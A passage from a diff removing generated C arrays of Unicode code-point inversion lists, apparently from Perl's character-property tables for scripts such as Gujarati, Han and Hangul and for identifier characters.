- 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x1133E, - 0x1133F, - 0x11340, - 0x11341, - 0x11357, - 0x11358, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B0, - 0x114B1, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115AF, - 0x115B0, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D166, - 0x1D167, - 0x1D16A, - 0x1D16E, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -static const UV PL_GUJR_invlist[] = { /* for all charsets */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0x964, - 0x966, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xA830, - 0xA83A -}; - -static const UV PL_GURU_invlist[] = { /* for all charsets */ - 39, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0x964, - 0x966, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA830, - 0xA83A -}; - -static const UV PL_HALFANDFULLFORMS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFF00, - 0xFFF0 -}; - -static const UV PL_HALFMARKS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFE20, - 0xFE30 -}; - -static const UV PL_HAN_invlist[] = { /* for all charsets */ - 65, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3001, - 0x3004, - 0x3005, - 0x3012, - 0x3013, - 0x3020, - 0x3021, - 0x302E, - 0x3030, - 0x3031, - 0x3037, - 0x3040, - 0x30FB, - 0x30FC, - 0x3190, - 0x31A0, - 0x31C0, - 0x31E4, - 0x3220, - 0x3248, - 0x3280, - 0x32B1, - 0x32C0, - 0x32CC, - 0x3358, - 0x3371, - 0x337B, - 0x3380, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFE45, - 0xFE47, - 0xFF61, - 0xFF66, - 0x1D360, - 0x1D372, - 0x1F250, - 0x1F252, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -static const UV PL_HANG_invlist[] = { /* for all charsets */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1100, - 0x1200, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3013, - 0x3020, - 0x302E, - 0x3031, - 0x3037, - 0x3038, - 0x30FB, - 0x30FC, - 0x3131, - 0x318F, - 0x3200, - 0x321F, - 0x3260, - 0x327F, - 0xA960, - 0xA97D, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xFE45, - 0xFE47, - 0xFF61, - 0xFF66, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD -}; - -static const UV PL_HANO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1720, - 0x1737 -}; - -static const UV PL_HATR_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x10900 -}; - -static const UV PL_HEBR_invlist[] = { /* for all charsets */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50 -}; - -static const UV PL_HIGHPUSURROGATES_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDB80, - 0xDC00 -}; - -static const UV PL_HIGHSURROGATES_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD800, - 0xDB80 -}; - -static const UV PL_HIRA_invlist[] = { /* for all charsets */ - 31, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3013, - 0x3020, - 0x3030, - 0x3036, - 0x3037, - 0x3038, - 0x303C, - 0x303E, - 0x3041, - 0x3097, - 0x3099, - 0x30A1, - 0x30FB, - 0x30FD, - 0xFE45, - 0xFE47, - 0xFF61, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0x1B001, - 0x1B11F, - 0x1F200, - 0x1F201 -}; - -static const UV PL_HLUW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x14400, - 0x14647 -}; - -static const UV PL_HMNG_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90 -}; - -static const UV PL_HST__NA_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1100, - 0x1200, - 0xA960, - 0xA97D, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC -}; - -static const UV PL_HUNG_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_HYPHEN_invlist[] = { /* for ASCII/Latin1 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D, - 0x2E, - 0xAD, - 0xAE, - 0x58A, - 0x58B, - 0x1806, - 0x1807, - 0x2010, - 0x2012, - 0x2E17, - 0x2E18, - 0x30FB, - 0x30FC, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E, - 0xFF65, - 0xFF66 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_HYPHEN_invlist[] = { /* for EBCDIC 1047 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61, - 0xCA, - 0xCB, - 0x58A, - 0x58B, - 0x1806, - 0x1807, - 0x2010, - 0x2012, - 0x2E17, - 0x2E18, - 0x30FB, - 0x30FC, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E, - 0xFF65, - 0xFF66 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_HYPHEN_invlist[] = { /* for EBCDIC 037 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61, - 0xCA, - 0xCB, - 0x58A, - 0x58B, - 0x1806, - 0x1807, - 0x2010, - 0x2012, - 0x2E17, - 0x2E18, - 0x30FB, - 0x30FC, - 0xFE63, - 0xFE64, - 0xFF0D, - 0xFF0E, - 0xFF65, - 0xFF66 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_IDC_invlist[] = { /* for ASCII/Latin1 */ - 1379, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xB7, - 0xB8, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1369, - 0x1372, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, 